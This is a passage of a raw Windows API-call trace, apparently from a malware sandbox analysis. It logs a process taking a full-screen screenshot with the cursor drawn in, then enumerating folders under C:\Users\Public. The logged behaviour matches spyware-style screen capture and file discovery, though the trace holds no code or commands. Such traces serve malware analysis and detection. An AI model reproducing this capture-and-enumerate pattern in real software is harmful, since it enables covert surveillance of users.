lpMultiByteStr=0x1e1de690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\\\.\\DISPLAY1", lpUsedDefaultChar=0x0) returned 12 [0194.887] EnumDisplaySettingsA (in: lpszDeviceName="\\\\.\\DISPLAY1", iModeNum=0xffffffff, lpDevMode=0x1e1de728 | out: lpDevMode=0x1e1de728) returned 1 [0194.902] GdiplusStartup (in: token=0x7ff9ff1da940, input=0x1e1dd178, output=0x1e1dd228 | out: token=0x7ff9ff1da940, output=0x1e1dd228) returned 0x0 [0195.069] GdipCreateBitmapFromScan0 (width=1440, height=900, stride=0, format=0x26200a, scan0=0x0, bitmap=0x1e1de9e8) returned 0x0 [0196.746] GdipGetImagePixelFormat (image=0x1bb734f0, format=0x1e1de948) returned 0x0 [0196.746] GdipGetImageGraphicsContext (image=0x1bb734f0, graphics=0x1e1de9a8) returned 0x0 [0197.236] GdipGetDC (graphics=0x1bb73d40, hdc=0x1e1de9a8) returned 0x0 [0198.012] BitBlt (hdc=0xffffffff82010744, x=0, y=0, cx=1440, cy=900, hdcSrc=0x1301097b, x1=0, y1=0, rop=0xcc0020) returned 1 [0199.456] GdipReleaseDC (graphics=0x1bb73d40, hdc=0xffffffff82010744) returned 0x0 [0199.977] GetCursorInfo (in: pci=0x1e1de9c8 | out: pci=0x1e1de9c8) returned 1 [0200.782] CopyIcon (hIcon=0x10003) returned 0xd037f [0201.032] GetIconInfo (in: hIcon=0xd037f, piconinfo=0x1e1de600 | out: piconinfo=0x1e1de600) returned 1 [0201.040] GdipCreateBitmapFromHBITMAP (hbm=0x67050956, hpal=0x0, bitmap=0x1e1de5e0) returned 0x0 [0201.254] GdipGetImageHeight (image=0x1bb74110, height=0x1e1de628) returned 0x0 [0201.267] GdipGetImageWidth (image=0x1bb74110, width=0x1e1de628) returned 0x0 [0201.286] GdipDisposeImage (image=0x1bb74110) returned 0x0 [0201.522] DeleteObject (ho=0x3a050679) returned 1 [0201.522] DeleteObject (ho=0x67050956) returned 1 [0202.101] GetIconInfo (in: hIcon=0xd037f, piconinfo=0x278da10 | out: piconinfo=0x278da10) returned 1 [0202.104] GetObjectW (in: h=0x3b050679, c=32, pv=0x278da40 | out: pv=0x278da40) returned 32 [0202.106] GdipCreateBitmapFromHBITMAP (hbm=0x3b050679, hpal=0x0, bitmap=0x1e1de420) returned 0x0 [0202.108] GdipGetImageWidth (image=0x1bb74110, width=0x1e1de468) returned 0x0 [0202.108] GdipGetImageHeight (image=0x1bb74110, height=0x1e1de468) returned 0x0 [0202.108] GdipGetImagePixelFormat (image=0x1bb74110, format=0x1e1de468) returned 0x0 [0202.109] GdipBitmapLockBits (bitmap=0x1bb74110, rect=0x1e1de410, flags=0x1, format=0x22009, lockedBitmapData=0x278dbc0) returned 0x0 [0202.110] GdipCreateBitmapFromScan0 (width=32, height=32, stride=0, format=0x26200a, scan0=0x0, bitmap=0x1e1de458) returned 0x0 [0202.112] GdipBitmapLockBits (bitmap=0x1bb758e0, rect=0x1e1de410, flags=0x2, format=0x26200a, lockedBitmapData=0x278dc20) returned 0x0 [0202.113] RtlMoveMemory (in: Destination=0x1bb760a0, Source=0x1bb75680, Length=0x80 | out: Destination=0x1bb760a0) [0202.113] RtlMoveMemory (in: Destination=0x1bb76120, Source=0x1bb75600, Length=0x80 | out: Destination=0x1bb76120) [0202.113] RtlMoveMemory (in: Destination=0x1bb761a0, Source=0x1bb75580, Length=0x80 | out: Destination=0x1bb761a0) [0202.113] RtlMoveMemory (in: Destination=0x1bb76220, Source=0x1bb75500, Length=0x80 | out: Destination=0x1bb76220) [0202.113] RtlMoveMemory (in: Destination=0x1bb762a0, Source=0x1bb75480, Length=0x80 | out: Destination=0x1bb762a0) [0202.113] RtlMoveMemory (in: Destination=0x1bb76320, Source=0x1bb75400, Length=0x80 | out: Destination=0x1bb76320) [0202.113] RtlMoveMemory (in: Destination=0x1bb763a0, Source=0x1bb75380, Length=0x80 | out: Destination=0x1bb763a0) [0202.113] RtlMoveMemory (in: Destination=0x1bb76420, Source=0x1bb75300, Length=0x80 | out: Destination=0x1bb76420) [0202.113] RtlMoveMemory (in: Destination=0x1bb764a0, Source=0x1bb75280, Length=0x80 | out: Destination=0x1bb764a0) [0202.113] RtlMoveMemory (in: Destination=0x1bb76520, Source=0x1bb75200, Length=0x80 | out: Destination=0x1bb76520) [0202.114] RtlMoveMemory (in: Destination=0x1bb765a0, Source=0x1bb75180, Length=0x80 | out: Destination=0x1bb765a0) [0202.114] RtlMoveMemory (in: Destination=0x1bb76620, Source=0x1bb75100, Length=0x80 | out: Destination=0x1bb76620) [0202.114] RtlMoveMemory (in: Destination=0x1bb766a0, Source=0x1bb75080, Length=0x80 | out: Destination=0x1bb766a0) [0202.114] RtlMoveMemory (in: Destination=0x1bb76720, Source=0x1bb75000, Length=0x80 | out: Destination=0x1bb76720) [0202.114] RtlMoveMemory (in: Destination=0x1bb767a0, Source=0x1bb74f80, Length=0x80 | out: Destination=0x1bb767a0) [0202.114] RtlMoveMemory (in: Destination=0x1bb76820, Source=0x1bb74f00, Length=0x80 | out: Destination=0x1bb76820) [0202.114] RtlMoveMemory (in: Destination=0x1bb768a0, Source=0x1bb74e80, Length=0x80 | out: Destination=0x1bb768a0) [0202.114] RtlMoveMemory (in: Destination=0x1bb76920, Source=0x1bb74e00, Length=0x80 | out: Destination=0x1bb76920) [0202.114] RtlMoveMemory (in: Destination=0x1bb769a0, Source=0x1bb74d80, Length=0x80 | out: Destination=0x1bb769a0) [0202.114] RtlMoveMemory (in: Destination=0x1bb76a20, Source=0x1bb74d00, Length=0x80 | out: Destination=0x1bb76a20) [0202.114] RtlMoveMemory (in: Destination=0x1bb76aa0, Source=0x1bb74c80, Length=0x80 | out: Destination=0x1bb76aa0) [0202.114] RtlMoveMemory (in: Destination=0x1bb76b20, Source=0x1bb74c00, Length=0x80 | out: Destination=0x1bb76b20) [0202.114] RtlMoveMemory (in: Destination=0x1bb76ba0, Source=0x1bb74b80, Length=0x80 | out: Destination=0x1bb76ba0) [0202.115] RtlMoveMemory (in: Destination=0x1bb76c20, Source=0x1bb74b00, Length=0x80 | out: Destination=0x1bb76c20) [0202.115] RtlMoveMemory (in: Destination=0x1bb76ca0, Source=0x1bb74a80, Length=0x80 | out: Destination=0x1bb76ca0) [0202.115] RtlMoveMemory (in: Destination=0x1bb76d20, Source=0x1bb74a00, Length=0x80 | out: Destination=0x1bb76d20) [0202.115] RtlMoveMemory (in: Destination=0x1bb76da0, Source=0x1bb74980, Length=0x80 | out: Destination=0x1bb76da0) [0202.115] RtlMoveMemory (in: Destination=0x1bb76e20, Source=0x1bb74900, Length=0x80 | out: Destination=0x1bb76e20) [0202.115] RtlMoveMemory (in: Destination=0x1bb76ea0, Source=0x1bb74880, Length=0x80 | out: Destination=0x1bb76ea0) [0202.115] RtlMoveMemory (in: Destination=0x1bb76f20, Source=0x1bb74800, Length=0x80 | out: Destination=0x1bb76f20) [0202.115] RtlMoveMemory (in: Destination=0x1bb76fa0, Source=0x1bb74780, Length=0x80 | out: Destination=0x1bb76fa0) [0202.115] RtlMoveMemory (in: Destination=0x1bb77020, Source=0x1bb74700, Length=0x80 | out: Destination=0x1bb77020) [0202.118] GdipBitmapUnlockBits (bitmap=0x1bb74110, lockedBitmapData=0x278dbc0) returned 0x0 [0202.118] GdipBitmapUnlockBits (bitmap=0x1bb758e0, lockedBitmapData=0x278dc20) returned 0x0 [0202.118] GdipDisposeImage (image=0x1bb74110) returned 0x0 [0202.118] DeleteObject (ho=0x3b050679) returned 1 [0202.119] DeleteObject (ho=0x68050956) returned 1 [0202.313] DestroyCursor (hCursor=0xd037f) returned 1 [0202.324] GdipGetImageWidth (image=0x1bb758e0, width=0x1e1de9a8) returned 0x0 [0202.336] GdipGetImageHeight (image=0x1bb758e0, height=0x1e1de9a8) returned 0x0 [0203.030] GdipDrawImageRectI (graphics=0x1bb73d40, image=0x1bb758e0, x=765, y=704, width=32, height=32) returned 0x0 [0203.045] GdipDeleteGraphics (graphics=0x1bb73d40) returned 0x0 [0203.272] GdipGetImageEncodersSize (numEncoders=0x1e1de900, size=0x1e1de8f8) returned 0x0 [0203.273] LocalAlloc (uFlags=0x0, uBytes=0x4f0) returned 0x1d2feb60 [0203.273] GdipGetImageEncoders (in: numEncoders=0x5, size=0x4f0, encoders=0x1d2feb60 | out: encoders=0x1d2feb60) returned 0x0 [0203.288] LocalFree (hMem=0x1d2feb60) returned 0x0 [0203.296] GdipSaveImageToStream (image=0x1bb734f0, stream=0x60ffa0, clsidEncoder=0x1e1de978*(Data1=0x557cf401, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0 [0204.373] GdipDisposeImage (image=0x1bb734f0) returned 0x0 [0204.773] DeleteDC (hdc=0x1301097b) returned 1 [0209.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0209.064] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0209.064] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*" (normalized: "c:\\users\\default user\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0209.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0209.067] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0209.067] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*" (normalized: "c:\\users\\default user\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0209.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0209.071] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0209.072] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*" (normalized: "c:\\users\\public\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.072] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.073] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0209.073] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0209.073] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.073] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0209.074] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0209.074] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0209.074] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0209.074] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0209.075] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0209.075] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0209.075] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0209.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0209.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0209.075] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0209.076] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*" (normalized: "c:\\users\\public\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.076] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.076] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0209.076] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0209.076] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.077] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0209.077] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0209.077] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0209.077] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0209.077] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0209.078] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0209.078] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.078] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0209.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0209.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.078] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\AccountPictures", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\AccountPictures", lpFilePart=0x0) returned 0x1f [0209.078] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*" (normalized: "c:\\users\\public\\accountpictures\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.079] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.081] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.081] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: 